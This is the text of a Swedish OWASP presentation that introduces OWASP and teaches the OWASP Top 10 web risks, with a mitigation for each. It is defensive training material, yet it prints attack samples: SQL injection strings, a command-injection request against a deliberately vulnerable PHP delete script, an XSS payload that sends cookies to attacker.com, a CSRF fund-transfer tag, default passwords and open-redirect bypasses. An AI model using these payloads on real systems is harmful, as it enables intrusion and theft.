OWASP Intro & OWASP Top 10
Mattias Bergling, OWASP Stockholm/Nasdaq
Agenda
• OWASP
• OWASP Sweden
• OWASP projekt
• OWASP Top10
Mattias Bergling
• Jobbat med IT-säkerhet i ~15 år
• Största delen av tiden på Inspect it >> 2Secure
• Numera applikationssäkerhet på Nasdaq
• Startade OWASP Sweden tillsammans med John Wilander 2008
• Var med och anordnade OWASP AppSec EU 2010
• För närvarande i ledningsgruppen för OWASP Stockholm
OWASP
• Startades 2001
• Global icke vinstdrivande organisation (501(c)(3))
• https://www.owasp.org
• Fokus på att förbättra säkerheten i mjukvara.
• ~200 lokala chapters i ~100 länder.
• Årlig konferens per världsdel
OWASP Sweden
• Startades 2008 - https://www.owasp.org/index.php/Sweden
• John Wilander & Mattias Bergling
• Ledningsgrupp 3-6 personer
• Anordnade AppSec EU 2010
• 2-6 seminariekvällar per år
OWASP Sweden
• Startades 2008 - https://www.owasp.org/index.php/Sweden
• John Wilander & Mattias Bergling
• Ledningsgrupp 3-6 personer
• Anordnade AppSec EU 2010
• 2-6 seminariekvällar per år
• Göteborg och Linköping startades 2011 respektive 2013
• Sweden >> Stockholm
• Umeå 2015
• Anmälan till mailinglista/mailinglistor
• https://lists.owasp.org/mailman/listinfo/owasp-sweden
OWASP Sweden
• SQL Injection, Web Scarab
• Security in the Open Source
Process
• OWASP AppSec Europe
Conference 2010
• PCI DSS
• XSS & CSRF
• Code Analysis and Review
• OWASP Top 10 2010 (rc1)
• The Big Protocols
• Community Hack
• Samy XSS attack on MySpace
• HTTP-säkerhet
• "Security impact of SVG" + ""ECMA
Script 5, a frozen DOM
• OWASP Sweden SSL Day
• Web Application Access Control
Design Excellence
• Secure Mashups, IT Sec in Cars, Buffer
Overflow Prevention, "How We Won
the Deutche Post Security Cup", and
Multi-Step, Semi-Blind CSRF
• JavaScript + RESTful Security
OWASP Projekt
• 141 projekt
OWASP Projekt
• 12 flaggskepp
• Verktyg
• Zed Attack Proxy
• Web Testing
Environment Project
• OWTF
• Dependency Check
• Kod
• ModSecurity Core
Rule Set Project
• CSRFGuard Project
• AppSensor Project
• Dokumentation
• Application Security
Verification Standard
Project (ASVS)
• Software Assurance
Maturity Model (SAMM)
• AppSensor Project
• Top Ten Project
• Testing Guide Project
OWASP Projekt
• OWASP Testing guide
• Version 4 släpptes nyligen
• Täcker testning av webapplikationer
•
•
•
•
•
•
•
•
•
•
•
Introduction and Objectives
Configuration and Deployment Management Testing
Identity Management Testing
Authentication Testing
Authorization Testing
Session Management Testing
Input Validation Testing
Testing for Error Handling
Testing for weak Cryptography
Business Logic Testing
Client Side Testing
• https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf
OWASP Testing Guide
OWASP Projekt
• OWASP ZAP
• Proxy och attack-/testverktyg
•
•
•
•
•
•
Intercepting proxy
Spider
Fuzzer
Active/passive scanner
Forced browser
WebSockets, REST, Ajax ...
OWASP Projekt
• OWASP Cheat Sheet
• Samling kortfattade beskrivningar av olika ämnen
• Både för testare och utvecklare
OWASP Cheat Sheet
OWASP Projekt
• OWASP Developer Guide
• Ursprungsprojektet som bidrog till OWASPs
framgång.
• Är dock under uppdatering då den senaste
versionen inte var fulltäckande.
OWASP Projekt
• OWASP ASVS (Application Security Verification Standard)
• https://www.owasp.org/images/5/58/OWASP_ASVS_Version_2.pdf
• Krav på applikationer för att uppfylla olika säkerhetsnivåer
• Level 1: Opportunistic
• Level 2: Standard
• Level 3: Advanced
•Kravområden
•V2. Authentication
•V3. Session Management
•V4. Access Control
•V5. Malicious Input Handling
•V7. Cryptography at Rest
•
•
•
•
•
V8. Error Handling and Logging •V15. Business Logic
•V16. File and Resource
V9. Data Protection
•V17. Mobile
V10. Communications
V11. HTTP
V13. Malicious Controls
OWASP Projekt
ASVS - V5: Malicious Input Handling Verification Requirements
OWASP Top 10
• Lista över de allvarligaste säkerhetsriskerna kring webapplikationer
• Varje risk listar
•
•
•
•
•
Beskrivning
Sårbarhetsexempel
Angreppsexempel
Råd kring att undvika/åtgärda
Referenser
• Uppdateras vart tredje år
OWASP Top 10
OWASP Top 10
OWASP Top 10
OWASP Top 10
• A1 Injection
• SQL, OS, LDAP etc
• A2 Broken Authentication and
Session Management
• Authentication, session management
tokens, timeouts tec.
• A6 Sensitive Data Exposure
• Not protected enough in transit or at rest
• A7 Missing Function Level Access
Control
• Access to functions not normally available
• A3 Cross-Site Scripting (XSS)
• A8 Cross-Site Request Forgery (CSRF)
• A4 Insecure Direct Object
References
• A9 Using Components with Known
Vulnerabilities
• Stored, reflected or DOM based
• Files, keys, directories exposed
• A5 Security Misconfiguration
• Weak or default configurations
• Force user to execute actions
• Libraries, frameworks, modules etc.
• A10 Unvalidated Redirects and
Forwards
• Acting without proper validation
A1 - Injection
A1 - Injection
• Inträffar när data som skickas via parametrar angriparna kan påverka
och tolkas som kommandon istället för data.
• URL parametrar, HTTP headers, formulär/POST parametrar ...
• Valideras inte datan innan tolkning kan det medföra att angripare kan
utföra egna frågor/kommandon.
• Kategorin inkluderar attacker mot flertalet tolkar:
•
•
•
•
SQL
Kommando
LDAP
XPATH
SQL-injection
• Vanligaste och mest omtalade injektionsbristen
• Resultatet av obefintlig indatavalidering/typning vilket resulterar i att
data tolkas som SQL syntax:
String sql = “SELECT * FROM app_logins WHERE username=‘” + user +
“’ AND password=‘”
+ pass + “’”
SQL-injection
• Vanligaste och mest omtalade injektionsbristen
• Resultatet av obefintlig indatavalidering/typning vilket resulterar i att
data tolkas som SQL syntax:
String sql = “SELECT * FROM app_logins WHERE username=‘” + user +
“’ AND password=‘”
•Vad händer om användaren heter O’Brian?
String sql = “SELECT * FROM app_logins WHERE username=‘O’Brian’ AND password=‘’”
•Unclosed quotation mark at ...
+ pass + “’”
SQL-injection
• Vanligaste och mest omtalade injektionsbristen
• Resultatet av obefintlig indatavalidering/typning vilket resulterar i att
data tolkas som SQL syntax:
String sql = “SELECT * FROM app_logins WHERE username=‘” + user +
“’ AND password=‘”
•Vad händer om användaren heter O’Brian?
String sql = “SELECT * FROM app_logins WHERE username=‘O’Brian’ AND password=‘’”
•Unclosed quotation mark at ...
•Vad händer om användaren heter ’ or ’’=’ eller ’ OR ’1’=’1’—?
String sql = “SELECT * FROM app_logins WHERE username=‘’ or ‘’=‘’ AND password=‘’”
String sql = “SELECT * FROM app_logins WHERE username=‘’ or ‘1’=‘1’-- AND password=‘’”
+ pass + “’”
SQL-injection
SQL-injection
Källa:
http://kaoticcreations.blogspot.se/2011/10/microsoft-sql-server-mssql-and-sql.html
https://devcentral.f5.com/articles/the-power-of-response-signatures
SQL-injection
• Identifiering
• Detaljerade felmeddelanden
• Olikheter i svar (mellan exempelvis ’ och ’’ eller 1 och 1%2b1)
• Timingfunktioner
• Waitfor delay, benchmark ...
SQL-injection
• Dataextrahering
• Information returnerad i korrekt avslutad fråga
• UNION
• Detaljerade felmeddelanden
• Felaktig konvertering
• Blind SQL-injection
• Olikheter mellan svar
• Side channels
• Filer, nätverkskommunikation (DNS)
SQL-injection
• Konsekvenser
• Databasdumpar, intrång, utpressning, förnedring
• Utökad funktionalitet
• Nätverkskommunikation
• Skriva till filer
• Länkande databaser
SQL-injection
• Åtgärder
• Parameteriserade frågor
• Separera data och syntax via placeholders - “Bind variables” till Prepared
Statements
• Java EE – use PreparedStatement() with bind variables
• .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind
variables
• PHP – use PDO with strongly typed parameterized queries (using bindParam())
• Hibernate - use createQuery() with bind variables (called named parameters in
Hibernate)
• SQLite - use sqlite3_prepare() to create a statement object
SQL-injection
• Åtgärder
String query = "SELECT account_balance FROM user_data WHERE user_name = " +
request.getParameter("customerName");
try { Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query ); }
String custname = request.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
SQL-injection
• Åtgärder
• Andra åtgärder som ytterligare kan erbjuda “Layered Security”
• Validera indata mot vit/svartlista
• Tillämpa “Principle of Least Privilege”
• Håll mjukvara och bibliotek uppdaterade
• Stored Procedure kan ha samma effekt som Prepared Statements om
de används säkert - mao ingen dynamisk SQL i proceduren
• SET @sqlDynamicQuery = 'Select * from where ShipOrders where
ShipOrder= ''' + @OrderId + '''''
EXEC @sqlDynamicQuery
//UNSAFE
• SET @sqlDynamicQuery = 'Select * from where ShipOrders where
ShipOrder= @orderId'
EXECUTE sp_executesql @sqlDynamicQuery,N'@orderId
varchar(250)',@OrderID
//SAFE
SQL-injection
• Mer information
• https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_
Sheet
• https://www.owasp.org/index.php/Query_Parameterization_Cheat_S
heet
• https://github.com/sqlmapproject/sqlmap
• http://sqlfiddle.com/
Command injection
• Målet är att exekvera egna kommandon på målsystemet genom att
injecera tecken som avslutar datadelen och infogar egna kommandon
• Kommadona exekveras då i ett operativsystemsskal vilket medför
åtkomst till underliggande funktionalitet
Källa:
https://security.web.cern.ch/security/recommendations/en/web_applications.shtml
Command injection
• Exempel
• <?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>
Command injection
• Fråga
• http://127.0.0.1/delete.php?filename=bob.txt;id
• Svar
• Please specify the name of the file to delete
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Command injection
• Åtgärder
• Undvik “farliga” funktioner
• Vissa språk stödjer parameterisering
• Filtrera indata mot en vit/svartlista
Command injection
• Mer information
• https://www.owasp.org/index.php/Command_Injection
• http://cwe.mitre.org/data/definitions/77.html
• http://cwe.mitre.org/data/definitions/78.html
Övriga injektioner
• LDAP
• SMTP
• XPATH
• ...
A2 - Autentisering och
sessionshantering
A2 - Autentisering och
sessionshantering
• Inkluderade sårbarhetstyper
• Svaga skyddsmekaniskmer för autentiseringsinformation
• Möjligheten att gissa autentiseringsuppgifter
• Sesionsuppgifter exponeras
• Sessionsuppgifter återanvänds (Session Fixation)
• Svagheter i timeout/logout-funktioner
Autentisering
• Vanliga problemområden
• Login/password reset/account creation avslöjar om kontot existerar
• Klartext (A6) - http://httpshaming.tumblr.com/
• Lösenord sparas i klartext/reverserbart
• Flashback/Pastebin/...
• NIST ”Guide to Enterprise Password Management (Draft)”
• Standardkonton
• DPL
• Admin/demo/test/root/edit/administrator/demo1/test1/...
• <inget lösen>/password/Sommar15/<samma som kontonamn>/secret/
hemligt/abc123/qwerty/qwe123/123qwe/123456 osv
Sessionshantering
• Vanliga problemområden
• Sessionsinformation i URL:en
• Session fixation/logout/timeout
• Funktionen för lösenordsbyte kräver inte det gamla lösenordet
• Funktionen för lösenordsåterställning medger byte på valfritt konto
A2 - Autentisering och
sessionshantering
• Åtgärder
• Följ kapitel V2 och V3 i OWASP ASVS
• Använd bibliotek och centrala funktioner för autentisering och
sessionshantering
• Salta och hasha lösenord I databaser
• Login och all kommunkation som innehåller sessionsinformation ska TLS:as
• Sessionsidentifierara ska vara unika för sessionen, tillräckligt slumpmässiga
och invalideras på serversidan
• Returnera generiska felmeddelanden
A2 - Autentisering och
sessionshantering
• Mer information
• Default Password List
• http://www.phenoelit.org/dpl/dpl.html
• https://www.owasp.org/index.php/Authentication_Cheat_Sheet
• https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet
• https://www.owasp.org/index.php/Session_Management_Cheat_She
et
A3 – Cross-Site Scripting
A3 – Cross-Site Scripting
• Inkluderade sårbarhetstyper
• Reflekterad XSS
• Lagrad XSS
• DOM-baserad XSS
A3 – Cross-Site Scripting
• Introduktion
• Webbläsare följer Same-origin-principle (S.O.P):
• En sida som laddas från en domän får inte läsa information från andra
domäner
• Ladda bilder och skript från andra domäner samt posta formulär till
andra domäner är ok
• Sidor laddade i exempelvis iframes kan inte läsa information från
huvuddokumentet
• XSS bryter SOP
A3 – Cross-Site Scripting
• Vanliga problemområden
• Alla parametrar som användaren kan påverka som direkt eller indirekt
blir del av en resulterande sida.
• (String) page += "<input name='creditcard'
type='TEXT' value='" + request.getParameter("CC") +
"'>";
• '><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi
?foo='+document.cookie</script>'
A3 – Cross-Site Scripting
Reflekterad XSS
•
•
Inträffar när data från angriparen inkluderas i den returnerande
sidan till användern, i själva sidan eller felmeddlande, utan att
kodas korrekt
Scenario
1. En angripare identifierar en sårbar sida och konstruerar en länk som
utnyttjar denna sårbarhet
2. Angriparen distribuerar länken till sina offer
3. Exekverar skripten i användarens webbläsare
Lagrad XSS
•
•
•
Vanligtvis ansedd som den allvarligaste typen av XSS
Data från användaren lagras, exemplevis i en databas, i
applikationen och inkluderas i varje gång en användare efterfrågar
informationen.
Scenario:
1. En angripare kan infoga JavaScript i sitt namn som som lagras på serversidan
2. JavaScriptet exekveras varje gång någon besöker en sida där angriparens
namn inkluderas
3. Skulle en administratör besöka en sida där alla användare listas skulle
angriparen möjligtvis kunna erhålla dennes behörigheter
DOM-baserad XSS
• Attacken skickas aldrig till servern utan tolkas direkt i webbläsaren
• Inträffar när klientside JavaScript läser parametrar från sidan och
uppdaterar sidan
• (function(g)
{
var a=location.href.split(”#!”[1];
if(a){
g.location=g.HBR=a;
}
}
)(window);
A3 – Cross-Site Scripting
• Konsekvenser
• Exekvera funktioner i applikationer som den angripne användaren
• Läsa och skicka information till angriparen
• Modifiera sidan
• Automatisera händelser med BeEF
A3 – Cross-Site Scripting
• Åtgärder
• Koda all data I enlighet med dess HTML kontext:
• HTML entity encode (< --> <, " --> ", ' --> ') kommer man långt
med ..
• Men kolla även andra kontexter i XSS Prevention Cheat Sheet
• Content Security Policy header
• Manipulera HTML-dom via objekt och attribut, inte konkatenerade
strängar
• element.setAttribute(”value”, insecure_variable) istället för
document.write(”<input value=’”+insecure_variable+”’/>”);
A3 – Cross-Site Scripting
• Mer information
• https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Preve
ntion_Cheat_Sheet
• https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Ch
eat_Sheet
• https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
• https://www.owasp.org/index.php/ASVS (V6)
• https://www.xssposed.org/
• https://xss-game.appspot.com
• http://beefproject.com
A4 – Insecure Direct Object
References
A4 – Insecure Direct Object
References
• Sårbarhetstyper
• De parametrar där användaren blir presenterad med objektets värde
istället för en referens. (Direct)
• De parametrar där användaren blir presenterad med en referens till
oblektet, men referensen inte verifieras mot användarens
behörigheter (Insecure)
A4 – Insecure Direct Object
References
• Kan en angripare ändra på en parameter i en fråga och få åtkomst
till data/funktioner ej avsedd för denne så är den sårbar
•Hämta information
•http://foo.bar/somepage?invoice=12345
•http://foo.bar/somepage?invoice=12346
•Utföra en operation
•http://foo.bar/changepassword?user=user1
•http://foo.bar/changepassword?user=user2
•Hämta filer
•http://foo.bar/showImage?img=img00011
•http://foo.bar/showImage?img=img00012
•Presentera funktionalitet
•http://foo.bar/accessPage?menuitem=12
•http://foo.bar/accessPage?menuitem=13
A4 – Insecure Direct Object
References
• Konsekvenser
• En angripare får åtkomst till all data som refereras av den sårbara
parametern - skulle kunna vara:
•
•
•
•
•
•
Alla filer I en molntjänst
Alla kontouppgifter I en Internetbank
Alla användare I en anonymiseringstjänst
Alla recept I ett apotek
Alla funktioner i en applikation
…
A4 – Insecure Direct Object
References
• Åtgärder
• Använd indirekta värden som mappas till resurser på
applikationssidan, mappat till användarens session
• Alternativt signera ala ViewState
• Kontrollera att användarsessionen har behörighet att efterfråga
resursen
A4 – Insecure Direct Object
References
• Mer information
• https://www.owasp.org/index.php/ASVS (V4)
A5 – Security
Misconfiguration
A5 – Security
Misconfiguration
• Inkluderade sårbarhetstyper
• Avsaknas härdning av komponenter i applikationsstacken
•
•
•
•
Uppdateringar
Säkerhetsinställningar
Standardkonton/-inställningar/-funktioner
Felhantering
A5 – Security
Misconfiguration
• Vanliga problemområden
• Standardkonfigurationer
• Uppdateringar av mjukvara utöver det som täcks av vanliga
uppdateringsfunktioner
A5 – Security
Misconfiguration
A5 – Security
Misconfiguration
A5 – Security
Misconfiguration
• Konsekvenser
• Allt ifrån informationsläckage till totalt ägd applikation
A5 – Security
Misconfiguration
• Åtgärder
• Använd checklistor och härdningsguider när system deployas
• Verifiera att inga nya funktioner aktiveras eller konfigureras om när
uppdateringar appliceras
• Använd arkitektur där olika komponenter och funktioner separeras
• Skanna själv
A5 – Security
Misconfiguration
• Mer information
• https://www.owasp.org/index.php/Testing_for_configuration_manag
ement
• https://www.owasp.org/index.php/ASVS (V12)
• Center for Internet Security (CIS) – 101 härdningsguider
• https://benchmarks.cisecurity.org/downloads/multiform/index.cfm
• DISA STIG:s
• http://iase.disa.mil/stigs/Pages/index.aspx
A5 – Security
Misconfiguration
• http://www.shodanhq.com/search?q=Umea
•http://www.shodanhq.com/search?q=Umeå
A6 – Sensitive Data
Exposure
A6 – Sensitive Data
Exposure
• Inkluderade sårbarhetstyper
• Sparas känslig information i klartext
• Skickas känslig information i klartext
• Cashas känslig information hos klienten
• Accepteras endast starka krypteringsprotokoll/-algoritmer
• Skyddas nycklar på ett fullgott sätt
A6 – Sensitive Data
Exposure
• Vanliga problemområden
• SSL/TLS
• Avsaknden av
• Svaga algoritmer/förhandlingar – downgrade
• Delar av siter görs tillgängliga via klartext
• Kryptering/hashning
• Databasdumpar
• Automatisk kryptering för ”Data at rest”
• Hur skyddas nycklar
• Vad och vart krypteras
A6 – Sensitive Data
Exposure
Källa:
https://twitter.com/spazef0rze/status/513705914067853313
A6 – Sensitive Data
Exposure
• http://httpshaming.tumblr.com/
A6 – Sensitive Data
Exposure
•
Källa:
Jämförelse av databasdumpar
http://www.troyhunt.com/2011/06/owasp-top-10-for-net-developers-part-7.html
https://samsclass.info/123/proj10/comparing-hashes.htm
A6 – Sensitive Data
Exposure
•
https://haveibeenpwned.com/
A6 – Sensitive Data
Exposure
• Konsekvenser
• Känslig information exponeras för obehöriga individer.
• Kan påverka andra siter och andra siters brister kan påverka er
A6 – Sensitive Data
Exposure
• Åtgärder
• https://www.owasp.org/index.php/ASVS
• Crypto (V7)
• Data Prot. (V9)
• SSL (V10)
• Kryptera känslig information
• Salta och hasha lösenord med rekommenderad algoritm
• Spar endast känslig information i klartext så länge ni absolut måste
• Acceptera endast godkända algoritmer
• Överväg att använda HSM (FIPS-140)
A6 – Sensitive Data
Exposure
• Mer information
• https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sh
eet
• https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
• https://www.owasp.org/index.php/Transport_Layer_Protection_Chea
t_Sheet
• https://www.owasp.org/index.php/ASVS
• Crypto (V7)
• Data Prot. (V9)
• SSL (V10)
A7 – Missing Function Level
Access Control
A7 – Missing Function Level
Access Control
• Inkluderade sårbarhetstyper
• Horisontell privilege escalation
• Vertikal privilege escalation
• Kringgå autentisering
A7 – Missing Function Level
Access Control
• Angripare kan komma åt information eller funktioner de normalt inte
skulle ha åtkomst till.
• Beror på svagheter i accesskontroller
• Testas genom ”forced browsing” mot en
information&funktion/rollmatris
A7 – Missing Function Level
Access Control
• Konsekvenser
• Horisontell privilege escalation
• Kan en användare i applikationen komma åt information eller funktioner
tillhörande någon annan användare?
• Vertikal privilege escalation
• Kan en användare komma åt information eller funktioner endast tillgängliga
för exempelvis en administratör?
• Kringgå autentisering
• Kan en anonym användare komma åt information eller funktioner som
endase inloggade användare ska komma åt?
A7 – Missing Function Level
Access Control
• Åtgärder
• Använd centraliserad access kontroll (på serversidan;-)
• Standard ska vara ”Default Deny”
• Designa access kontroll som ett filter
• Begränsa åtkomst till administrativa gränssnitt
• Begränsa åtkomst till filer inte supporterade av applikationen
A7 – Missing Function Level
Access Control
• Mer information
• https://www.owasp.org/index.php/ASVS (V4)
• http://cwe.mitre.org/data/definitions/285.html
A8 – Cross-Site Request
Forgery (CSRF)
A8 – Cross-Site Request
Forgery (CSRF)
• Sårbarheten
• Möjligheten att tvinga en autentiserad användare att utföra händelser
i applikationen.
Källa:
http://paulsec.github.io/bsides-london-2014/
A8 – Cross-Site Request
Forgery (CSRF)
• Problemet
• Applikationen förliter sig endast på sessionsinformationen från en
autentiserad användare. Följande exempel är för en transaktion:
• http://example.com/app/transferFunds?amount=1500&des
tinationAccount=4673243243
• Om en angripare inkluderar följande kod på en populär sida – vad
händer?
• <img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#"
width="0" height="0" />
• Varje gång sidan besöks av en användare som är inloggad i
example.com kommer transaktionen genomföras!
A8 – Cross-Site Request
Forgery (CSRF)
• Konsekvenser
• En angripare kan får en applikationsanvändare att utföra händelser i
dennes namn.
A8 – Cross-Site Request
Forgery (CSRF)
• Åtgärder
• Inkludera ett slumpmässigt värde i varje förfrågan (Synchronizer Token)
• Värdet bör skickas som ett ”Hidden Field” och inte i URL:en då denna i vissa fall
kan avläsas av angriparen.
• Kontrollera Origin headern (XMLHttpRequest)
• Signera content ala ViewState
• Vissa kritiska funktioner kanske ska skyddas med ytterligare en
autentisering/CAPTCHA
• Andra alternativ som anses erbjuda ett svagare CSRF skydd är att
kontrollera headers
A8 – Cross-Site Request
Forgery (CSRF)
• Åtgärder som inte fungerar
• Använda hemliga cookies
• Endast acceptera HTTP POST
• Att dela upp frågan i flera steg
• Inkludera sessionsinformation i URL:en
• Skyddar mot CSRF men är inte attrekommendera
A8 – Cross-Site Request
Forgery (CSRF)
• Mer information
• https://www.owasp.org/index.php/CrossSite_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
• https://www.owasp.org/index.php/CSRFGuard
A9 – Using Components with
Known Vulnerabilities
A9 – Using Components with
Known Vulnerabilities
• Brister kan förekomma och utnyttjas i hela applikationsstacken
•
•
•
•
•
Operativsystem
Webserver
Applikationsserver
Applikation och bibliotek
Databas
• Samtlika komponenter behöver kontinuerligt uppdateras för att inte
publikt kända brister ska utnyttjas
• 70000-80000 publikt rapporterade brister av olika allvarlighetsgrad
• CVSS2 visar bristens allvarlighetsgrad
A9 – Using Components with
Known Vulnerabilities
• Konsekvenser
• Allt ifrån informationsläckage till totalt ägd applikation
Källa:
https://blog.whitehatsec.com/the-ghost-of-information-disclosure/
A9 – Using Components with
Known Vulnerabilities
• Åtgärder
• Uppgradera till version som adresserar de identifierade
säkerhetsproblemen – vanligtvis senaste versionen.
• Skapa process för att:
• Identifiera bibliotek, komponenter och beroenden
• Monitorera dessa i publika kanaler (mailinglistor, säkerhetsforum mm)
• Försök begränsa antalet komponenter och versioner som får användas i
organisationen
• Skapa konfigurationsrekommendationer för de godkända komponenterna
• Skapa rutiner för 0-day i de komponenter som används publikt
• Heartbleed, ShellShock, Poodle ....
A9 – Using Components with
Known Vulnerabilities
• Mer information
• http://osvdb.org/
• http://cve.mitre.org/data/downloads/allitems.csv
• OBS! 61MB = Alla 65535 CVE:er. Och några till (~80100) om man öppnar filen
I en riktig editor ;-)
• Runt 10000 av dessa är ** RESERVED **, mao ej publikt annonserade
• Dubletter, false positives, rapporterade men ej patchade än, blev aldrig publik…
• https://nvd.nist.gov/cvss.cfm
• https://www.owasp.org/index.php/OWASP_Dependency_Check
• http://zone-h.com/
A9 – Using Components with
Known Vulnerabilities
A10 – Unvalidated Redirects
and Forwards
A10 – Unvalidated Redirects
and Forwards
• Inkluderade sårbarhetstyper
• Omdirigering till andra siter
• Omdirigering mellan olika delar av en site
A10 – Unvalidated Redirects
and Forwards
• Vanliga problemområden
• Login/logout
• Inbäddade externa funktioner
• Federering
• Mesh
A10 – Unvalidated Redirects
and Forwards
• Problemet
• Omdirigeringen begränsas inte till sin tilltänkta destination
•
•
http://good.com/redirect.jsp?url=bad.com
http://example.com/home.jsp?fwd=admin.jsp
A10 – Unvalidated Redirects
and Forwards
• Konsekvenser
• Angripare kan lura användaren att sidan som presenteras är legitim
• Angripare kan erhålla obehörig åtkomst till funtionalitet som borde
vara begränsad
A10 – Unvalidated Redirects
and Forwards
• Åtgärder
• Undvik att använda Rediects och Forwards
• Undvik att använda parametrar som användaren kan ha påverkat I
besluten
• Undvik att inkludera själva adressen utan hellre en referens till
adressen
• Den sista utposten är att validera URL:en mot en vitlista – vilket har
blivit fel I mer än ett fall
• http://good1.com/redir?url=good2.com //måste börja på good2.com
A10 – Unvalidated Redirects
and Forwards
• Åtgärder
• Undvik att använda Redirects och Forwards
• Undvik att använda parametrar som användaren kan ha påverkat I
besluten
• Undvik att inkludera själva adressen utan hellre en referens till
adressen
• Den sista utposten är att validera URL:en mot en vitlista – vilket har
blivit fel I mer än ett fall
• http://good1.com/redir?url=good2.com //måste börja på good2.com
http://good1.com/redir?url=good2.com:pass@bad1.com
http://good1.com/redir?url=good2.com.bad1.com
A10 – Unvalidated Redirects
and Forwards
• Mer information
• https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forw
ards_Cheat_Sheet
Frågor?
mattias.bergling@owasp.org